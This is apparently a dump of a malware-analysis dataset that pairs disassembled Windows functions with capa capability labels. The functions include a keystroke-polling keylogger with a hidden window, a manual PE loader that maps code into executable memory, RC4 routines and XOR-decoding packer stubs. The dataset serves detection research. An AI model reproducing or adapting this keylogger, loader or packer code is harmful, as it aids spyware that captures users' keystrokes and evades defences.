joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10282c21
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x10291208], 0xec7
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x10282c77
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x18], eax
je 0x10282d37
jmp 0x10282d28
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x20], edx
jne 0x10282cb5
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x14], eax
je 0x10282cce
jmp 0x10282d28
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x12], 0x64
je 0x10282d07
jmp 0x10282d28
mov eax, dword [ebp - 0x1c]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], eax
jl 0x10282c77
jmp 0x10282c8d
mov dword [0x10291208], 0x1ad2
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x10282d28
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x10282d28
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
cmp word [eax + ecx*2 - 0x14], 0x64
je 0x10282ca4
jmp 0x10282d28
mov eax, dword [ebp - 0x14]
add eax, 0xfffffff8
shl eax, 1
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
cmp word [eax], 0x6c
je 0x10282c57
xor eax, eax
mov dword [0x10291208], 0x552
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
add esp, 0x24
pop ebp
ret
Function at 0x10282d3f
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
sub esp, 0x54
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x10291208]
mov edi, esi
add edi, 0xfffff500
mov dword [0x10291204], edi
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x38], edx
jmp 0x10282db5
mov eax, dword [ebp - 0x3c]
add esp, 0x54
pop esi
pop edi
pop ebp
ret
lea eax, [ebp - 0x28]
mov ecx, dword [ebp - 0x34]
add ecx, 0xdf4
mov dword [0x10291204], ecx
mov dword [ebp - 0x40], eax
call fcn.10283528
mov dword [esp], eax
mov eax, dword [ebp - 0x40]
mov dword [esp + 4], eax
call fcn.10282290
xor ecx, ecx
cmp eax, 0
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x3c], ecx
je 0x10282d71
jmp 0x10282ddd
mov eax, dword [ebp - 0x38]
mov cl, byte [eax + str._aM_]
mov dl, byte [eax + 0x10285157]
sub dl, cl
mov byte [ebp + eax - 0x28], dl
add eax, 1
cmp eax, 0xe
mov dword [ebp - 0x38], eax
je 0x10282d7b
jmp 0x10282db5
mov eax, dword [ebp - 0x44]
mov dword [0x10291204], 0x2474
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [0x10291204], 0x21bd
mov dword [esp], eax
mov ecx, dword [ebp - 0x2c]
mov dword [esp + 4], ecx
mov dword [ebp - 0x48], eax
call fcn.102823e4
xor eax, eax
mov dword [0x10291208], 0xc2e
mov ecx, dword [ebp - 0x48]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [ecx + 0xd0], 0x4550
add ecx, 0xffc00000
mov edx, dword [ebp - 0x30]
mov dword [edx + 0x2c], ecx
mov ecx, dword [0x10291208]
mov esi, ecx
add esi, 0xfffff42a
mov dword [0x10291208], esi
mov esi, dword [ebp - 0x48]
mov dword [edx], esi
mov dword [0x10291204], 0x13e6
cmp esi, 0
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x3c], eax
je 0x10282d71
mov eax, dword [ebp - 0x48]
add eax, 0x18e0
mov ecx, dword [ebp - 0x4c]
add ecx, 0xffffdeeb
mov dword [0x10291204], ecx
mov dword [ebp - 0x3c], eax
jmp 0x10282d71
Function at 0x10283042
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [0x1029120c], 0
mov dword [0x10291210], 0
mov dword [0x1029121c], 0
mov ebx, dword [0x10291208]
add ebx, 0xffffe838
mov dword [0x10291204], ebx
mov dword [0x10291208], 0x206a
cmp eax, 0
mov ebx, edi
mov dword [ebp - 0x10], eax
mov eax, edi
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], edi
je 0x102831d4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x24]
mov esi, 0x100
mov dword [0x10291204], 0x13d3
add ecx, 1
mov dword [ebp - 0x2c], eax
mov eax, ecx
mov dword [ebp - 0x30], edx
cdq
idiv esi
mov dword [0x1029120c], edx
mov ecx, dword [ebp - 0x20]
movzx edi, byte [ecx + edx]
mov ebx, dword [ebp - 0x30]
add edi, ebx
mov eax, edi
mov dword [ebp - 0x34], edx
cdq
idiv esi
mov dword [0x10291210], edx
mov dword [0x10291204], 0xfffff4f3
mov esi, dword [ebp - 0x34]
mov cl, byte [ecx + esi]
mov byte [0x10291214], cl
mov dword [0x10291208], 0x1200
mov edi, dword [ebp - 0x20]
mov cl, byte [edi + edx]
mov byte [edi + esi], cl
mov cl, byte [0x10291214]
mov edx, dword [0x10291210]
mov byte [edi + edx], cl
mov dword [0x10291204], 0xa15
mov edx, dword [0x1029120c]
movzx edx, byte [edi + edx]
mov ebx, dword [0x10291210]
movzx ebx, byte [edi + ebx]
add ebx, edx
and ebx, 0xff
mov dword [0x1029121c], ebx
mov cl, byte [edi + ebx]
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp - 0x2c]
mov ch, byte [edx + ebx]
mov byte [0x10291221], ch
mov byte [0x10291222], cl
xor ch, cl
mov byte [0x10291220], ch
mov edx, dword [0x10291208]
add edx, 0xfffffe57
mov dword [0x10291204], edx
mov edx, dword [ebp - 0x1c]
mov byte [edx + ebx], ch
add ebx, 1
mov edx, dword [ebp - 0x10]
cmp ebx, edx
mov dword [ebp - 0x38], ebx
je 0x102831d4
mov eax, dword [0x1029120c]
mov ecx, dword [0x10291210]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp - 0x40]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x28], edx
jmp 0x102830b7
add esp, 0x34
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1028331c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x90
call fcn.10001073
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x24], ecx
je 0x102833a9
jmp 0x1028346f
lea eax, [esp + 0x38]
mov ecx, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.10282d3f
mov ecx, esp
lea edx, [esp + 0x38]
mov dword [ecx], edx
call eax
sub esp, 4
mov eax, 1
mov dword [esp + 0x20], eax
jmp 0x1028339c
mov eax, dword [esp + 0x1c]
mov ecx, dword [eax + 0x3c]
cmp dword [eax + ecx], 0x4550
mov dword [esp + 0x18], ecx
je 0x10283440
jmp 0x10283429
mov eax, dword [esp + 0x14]
cmp word [eax], 0x5a4d
mov dword [esp + 0x1c], eax
je 0x1028336b
jmp 0x10283429
mov eax, dword [esp + 0x20]
mov dword [esp + 0x24], eax
jmp 0x1028346f
lea eax, [esp + 0x28]
lea ecx, [esp + 0x38]
mov dword [esp], eax
mov dword [esp + 0x10], ecx
call fcn.1028266f
lea ecx, [0x10282bda]
mov edx, dword [esp + 0x28]
mov dword [esp + 0x6c], edx
mov dword [esp + 0x40], 0x119600
mov edx, dword [0x102911f0]
mov dword [esp + 0x60], edx
mov edx, dword [0x102911f4]
mov dword [esp + 0x4c], edx
mov dword [0x10291208], 0x1c4a
mov edx, dword [0x102911f8]
mov dword [esp + 0x58], edx
mov edx, dword [0x102911fc]
mov dword [esp + 0x70], edx
mov edx, dword [0x10291200]
mov dword [esp + 0x84], edx
mov dword [0x10291204], 0x2267
mov dword [esp + 0xc], eax
mov dword [esp + 0x14], ecx
jmp 0x10283388
mov eax, dword [esp + 0x1c]
add eax, 0xfffff000
and eax, 0xfffff000
mov dword [esp + 0x14], eax
jmp 0x10283388
mov eax, dword [esp + 0x1c]
mov dword [esp + 0x68], eax
mov ecx, dword [esp + 0x18]
mov edx, dword [eax + ecx + 0x50]
mov dword [esp + 0x54], edx
call fcn.10282c21
xor ecx, ecx
cmp eax, 0
mov dword [esp + 0x20], ecx
je 0x1028333f
jmp 0x1028339c
mov eax, dword [esp + 0x24]
mov esp, ebp
pop ebp
ret
Function at 0x10025d1
Capabilities:
Access pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x10]
xor ebx, ebx
push edi
xor edi, edi
inc ebx
cmp eax, edi
jne 0x1002d32
mov eax, dword [esi + 0x30]
cmp eax, edi
jne 0x100303e
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
push dword [eax + 8]
call dword [sym.imp.ntdll.dll_RtlImageNtHeader]
cmp eax, edi
je 0x1002616
push dword [eax + 0x64]
call dword [sym.imp.RPCRT4.dll_RpcMgmtSetServerStackSize]
cmp dword [esi + 0x34], edi
jne 0x10032d7
push edi
push edi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret 4
test byte [esi + 0x38], bl
jne 0x10032c4
push ebx
lea ecx, [esi + 0x20]
push ecx
push dword [esi + 0x1c]
push dword [esi + 0x18]
push dword [esi + 0x14]
push eax
call fcn.01002d61
test eax, eax
jne 0x10025ec
jmp 0x10032bd
shl eax, 0xa
push eax
jmp 0x1002610
xor eax, eax
jmp 0x100262b
push 4
push edi
call dword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jge 0x10025ec
jmp 0x10032bd
push ebx
push edi
push ebx
call dword [sym.imp.ntdll.dll_RtlSetProcessIsCritical]
add esp, 0xc
jmp 0x100261f

Function at 0x433002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x433072
nop
nop
nop
nop
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x7b0a6139
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x7e6b216e
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
jmp loc.00401219

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x65ff0329
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42cd70
mov ecx, 0x3d1d258e
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x10002120
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x2c
mov esi, eax
lea eax, [esp + 0x10]
push 0
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
mov dword [esp + 8], 0x30
lea eax, [esp + 8]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0x10002110
mov dword [esp + 0x1c], esi
push eax
mov dword [esp + 0x34], 0x100d4e24
mov dword [esp + 0x30], 0
call dword [sym.imp.USER32.dll_RegisterClassExW]
test ax, ax
jne 0x100021aa
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.RegisterClassEx_fail__code:__d_
push 3
push 0x64
push 0x100d4e78
push 0x100d4eb8
call fcn.100c3e10
add esp, 0x18
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push 0
push esi
push 0
push 0
push 0x64
push 0x64
push 0x64
push 0x64
push 0xcf0000
push 0x100d4ecc
push str.keyboard
push 0
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x100021fd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CreateWindowEx_fail__code:__d_
push 3
push 0x6a
push 0x100d4f34
push str.CreateWnd
call fcn.100c3e10
add esp, 0x18
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10005a00
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push 0x100f0614
mov byte [0x100f062c], 0
mov dword [0x100f0630], 0
mov dword [0x100f0634], 0
mov dword [0x100f0638], 0
mov dword [0x100f0650], 0xf
mov dword [0x100f064c], 0
mov byte [0x100f063c], 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0
push 0x100f0610
push 0x10005ba0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x100f0610], eax
mov eax, 0x100f0610
mov esp, ebp
pop ebp
ret
Function at 0x100074d0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], edi
call fcn.100078f0
test eax, eax
jne 0x1000753b
cmp byte [edi + 8], al
je 0x100074f6
mov byte [edi + 8], al
lea eax, [ebp + 0xc]
mov ecx, edi
push eax
lea eax, [ebp - 4]
push eax
call fcn.10006df0
mov ecx, dword [ebp - 4]
cmp ecx, dword [edi]
je 0x1000753b
mov esi, dword [ebp + 8]
xor eax, eax
push 0xffffffffffffffff
add ecx, 0x14
push eax
push ecx
mov dword [esi + 0x14], 7
mov ecx, esi
mov dword [esi + 0x10], 0
mov word [esi], ax
call fcn.10001870
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ebx, dword [ebp + 0xc]
lea eax, [ebx - 0x30]
cmp eax, 9
ja 0x1000758a
push 0x10
call dword [sym.imp.USER32.dll_GetKeyState]
mov ecx, 0xffffff00
and ax, cx
xor ecx, ecx
cmp cx, ax
jne 0x10007573
mov ecx, dword [ebp + 8]
mov dl, bl
call fcn.100073d0
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov esi, dword [ebp + 8]
mov ecx, edi
push ebx
push esi
call fcn.100076c0
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
lea eax, [ebx - 0x41]
cmp eax, 0x19
ja 0x100075f3
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x11
call esi
mov ecx, 0xffffff00
and ax, cx
push 0x12
movzx edi, ax
call esi
mov ecx, 0xffffff00
and ax, cx
xor ecx, ecx
movzx eax, ax
cmp cx, di
jne 0x100075da
cmp cx, ax
jne 0x100075da
mov esi, dword [ebp + 8]
mov ecx, dword [ebp - 8]
push ebx
push esi
call fcn.100076c0
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 8]
push 0x100d66e4
call fcn.10002340
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
lea eax, [ebx - 0x60]
cmp eax, 9
ja 0x10007612
mov ecx, dword [ebp + 8]
lea edx, [ebx - 0x30]
call fcn.100073d0
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
lea eax, [ebx - 0x6a]
cmp eax, 5
ja 0x10007634
mov dl, byte [ebx + 0x100de80e]
mov ecx, dword [ebp + 8]
call fcn.100073d0
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
lea eax, [ebx - 0x70]
cmp eax, 0x17
ja 0x1000765c
mov esi, dword [ebp + 8]
lea eax, [ebx - 0x6f]
push eax
push 0x100d6864
push esi
call fcn.10008f10
add esp, 0xc
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
lea eax, [ebx - 0xba]
cmp eax, 6
jbe 0x10007573
lea eax, [ebx - 0xdb]
cmp eax, 4
jbe 0x10007573
cmp ebx, 0x20
jne 0x10007698
mov ecx, dword [ebp + 8]
push 0x100d686c
call fcn.10002340
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp + 8]
push 0x100d68c4
call fcn.10002340
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100076c0
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x51c
mov eax, dword [0x100e7034]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x514], ebx
push 0
mov dword [ebp - 0x518], edi
mov dword [ebp - 0x51c], 0
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov esi, eax
mov byte [ebp - 0x104], 0
push 0xff
lea eax, [ebp - 0x103]
mov dword [ebp - 0x508], esi
push 0
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push esi
mov esi, dword [ebp + 0xc]
push 0
push esi
call dword [sym.imp.USER32.dll_MapVirtualKeyExW]
mov dword [ebp - 0x50c], eax
xor eax, eax
push 0x1fe
push eax
mov word [ebp - 0x304], ax
lea eax, [ebp - 0x302]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [ebp - 0x304]
push dword [ebp - 0x508]
push 0
push 0x100
push eax
lea eax, [ebp - 0x104]
push eax
push dword [ebp - 0x50c]
push esi
call dword [sym.imp.USER32.dll_ToUnicodeEx]
lea ecx, [ebp - 0x304]
mov dword [ebp - 0x510], eax
push ecx
push eax
push str.ret:__d___s
push 1
push 0xba
push 0x100d68e0
push str.CVirtualKeyManager::GetUnicodeVal
call fcn.100c3e10
mov edx, dword [ebp - 0x510]
add esp, 0x1c
cmp edx, 0xffffffff
jne 0x10007821
mov ebx, dword [ebp - 0x50c]
mov edi, dword [ebp - 0x508]
jmp 0x100077d0
push 0xff
lea eax, [ebp - 0x403]
mov byte [ebp - 0x404], 0
push 0
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [ebp - 0x304]
push edi
push 0
push 0x100
push eax
lea eax, [ebp - 0x404]
push eax
push ebx
push esi
call dword [sym.imp.USER32.dll_ToUnicodeEx]
test eax, eax
js 0x100077d0
mov edi, dword [ebp - 0x518]
mov ebx, dword [ebp - 0x514]
mov edx, dword [ebp - 0x510]
cmp dword [edi + 0x10], 0
je 0x100078bc
cmp byte [edi + 9], 0
je 0x100078bc
xor eax, eax
push 0x1fe
push eax
mov word [ebp - 0x504], ax
lea eax, [ebp - 0x502]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [ebp - 0x504]
lea esi, [edi + 0x14]
push dword [ebp - 0x508]
push 0
push 0x100
push eax
push esi
push dword [edi + 0xc]
push dword [edi + 0x10]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
push 0x100
push 0
push esi
mov dword [edi + 0x10], 0
mov byte [edi + 9], 0
mov dword [edi + 0xc], 0
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [ebp - 0x304]
push eax
mov ecx, ebx
call fcn.10002340
mov ecx, dword [ebp - 4]
mov eax, ebx
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100ce74b
mov esp, ebp
pop ebp
ret 8
cmp edx, 0xffffffff
mov dword [edi + 0x10], esi
mov ecx, 0x40
lea esi, [ebp - 0x104]
sete al
mov byte [edi + 9], al
mov eax, dword [ebp - 0x50c]
mov dword [edi + 0xc], eax
add edi, 0x14
rep movsd dword es:[edi], dword [esi]
cmp edx, 0xffffffff
jne 0x10007899
push 0x100d693c
jmp 0x100078a0
Function at 0x100078f0
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d01cb
mov eax, dword fs:[0]
push eax
sub esp, 0x8c
mov eax, dword [0x100e7034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x63
lea eax, [ebp - 0x77]
mov byte [ebp - 0x78], 0
push 0
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea eax, [ebp - 0x78]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
lea eax, [ebp - 0x78]
push eax
push str.keyboard_name:__s
push 1
push 0xde
push str..._srcKeyboadHookutilVirtualKeyManager.cpp
push str.CVirtualKeyManager::GetSpecialKeyBoard
call fcn.100c3a80
add esp, 0x18
mov dword [ebp - 0x7c], 0xf
cmp byte [ebp - 0x78], 0
mov dword [ebp - 0x80], 0
mov byte [ebp - 0x90], 0
jne 0x1000797d
xor ecx, ecx
jmp 0x1000798c
lea ecx, [ebp - 0x78]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10007983
sub ecx, edx
push ecx
lea eax, [ebp - 0x78]
push eax
lea ecx, [ebp - 0x90]
call fcn.10006cf0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x90]
mov edi, dword [ebp - 0x7c]
lea ecx, [ebp - 0x90]
mov ebx, dword [ebp - 0x90]
lea edx, [ebp - 0x90]
mov esi, dword [ebp - 0x80]
cmp edi, 0x10
cmovae eax, ebx
cmovae ecx, ebx
add eax, esi
cmp edi, 0x10
cmovae edx, ebx
cmp edx, eax
je 0x100079f8
push dword [sym.imp.MSVCR120.dll_towlower]
push ecx
push eax
lea ecx, [ebp - 0x94]
call fcn.10007be0
mov edi, dword [ebp - 0x7c]
add esp, 0xc
mov esi, dword [ebp - 0x80]
mov ebx, dword [ebp - 0x90]
cmp edi, 0x10
lea ecx, [ebp - 0x90]
mov eax, 8
cmovae ecx, ebx
cmp esi, eax
cmovb eax, esi
push eax
push str.0000000a
push ecx
call fcn.10007ca0
add esp, 0xc
test eax, eax
jne 0x10007a30
cmp esi, 8
jb 0x10007a30
cmp esi, 8
setne al
test eax, eax
je 0x10007aa1
cmp edi, 0x10
lea ecx, [ebp - 0x90]
mov eax, 8
cmovae ecx, ebx
cmp esi, eax
cmovb eax, esi
push eax
push str.0000040a
push ecx
call fcn.10007ca0
add esp, 0xc
test eax, eax
jne 0x10007a68
cmp esi, 8
jb 0x10007a68
cmp esi, 8
setne al
test eax, eax
je 0x10007aa1
cmp edi, 0x10
lea eax, [ebp - 0x90]
mov ecx, 8
cmovae eax, ebx
cmp esi, 8
cmovb ecx, esi
push ecx
push str.0001040a
push eax
call fcn.10007ca0
add esp, 0xc
test eax, eax
jne 0x10007aa8
cmp esi, 8
jb 0x10007aa8
cmp esi, 8
setne al
test eax, eax
jne 0x10007aa8
mov esi, 1
jmp 0x10007b0a
push str.00000016
lea ecx, [ebp - 0x90]
call fcn.10007d80
test eax, eax
je 0x10007afc
push str.00000416
lea ecx, [ebp - 0x90]
call fcn.10007d80
test eax, eax
je 0x10007afc
push str.00010416
lea ecx, [ebp - 0x90]
call fcn.10007d80
test eax, eax
je 0x10007afc
push str.00000816
lea ecx, [ebp - 0x90]
call fcn.10007d80
test eax, eax
je 0x10007afc
xor esi, esi
jmp 0x10007b01
mov esi, 2
mov ebx, dword [ebp - 0x90]
mov edi, dword [ebp - 0x7c]
cmp edi, 0x10
jb 0x10007b19
push ebx
call dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100ce74b
mov esp, ebp
pop ebp
ret
Function at 0x10009900
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d0468
mov eax, dword fs:[0]
push eax
push ebx
mov eax, dword [0x100e7034]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp + 8]
mov dword [ebp - 4], 0
call fcn.10009970
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
cmovae eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
setne bl
cmp dword [ebp + 0x1c], 8
jb 0x1000995b
push dword [ebp + 8]
call dword [sym.imp.MSVCR120.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000eff0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100d0946
mov eax, dword fs:[0]
push eax
sub esp, 0x444
mov eax, dword [0x100e7034]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x444], 0
push str.C:Program_Files__x86_Windows_Assistant_AppMVConfiguration.ini
lea ecx, [ebp - 0x428]
call fcn.10006c90
mov dword [ebp - 4], 0
mov byte [ebp - 0x410], 0
push 0x3ff
push 0
lea eax, [ebp - 0x40f]
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x428]
call fcn.10004c90
push eax
push 0x400
lea ecx, [ebp - 0x410]
push ecx
push 0
push str.UniquePC
push str.Setting
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea edx, [ebp - 0x410]
push edx
lea ecx, [ebp - 0x440]
call fcn.10006c90
mov byte [ebp - 4], 1
sub esp, 0x18
mov ecx, esp
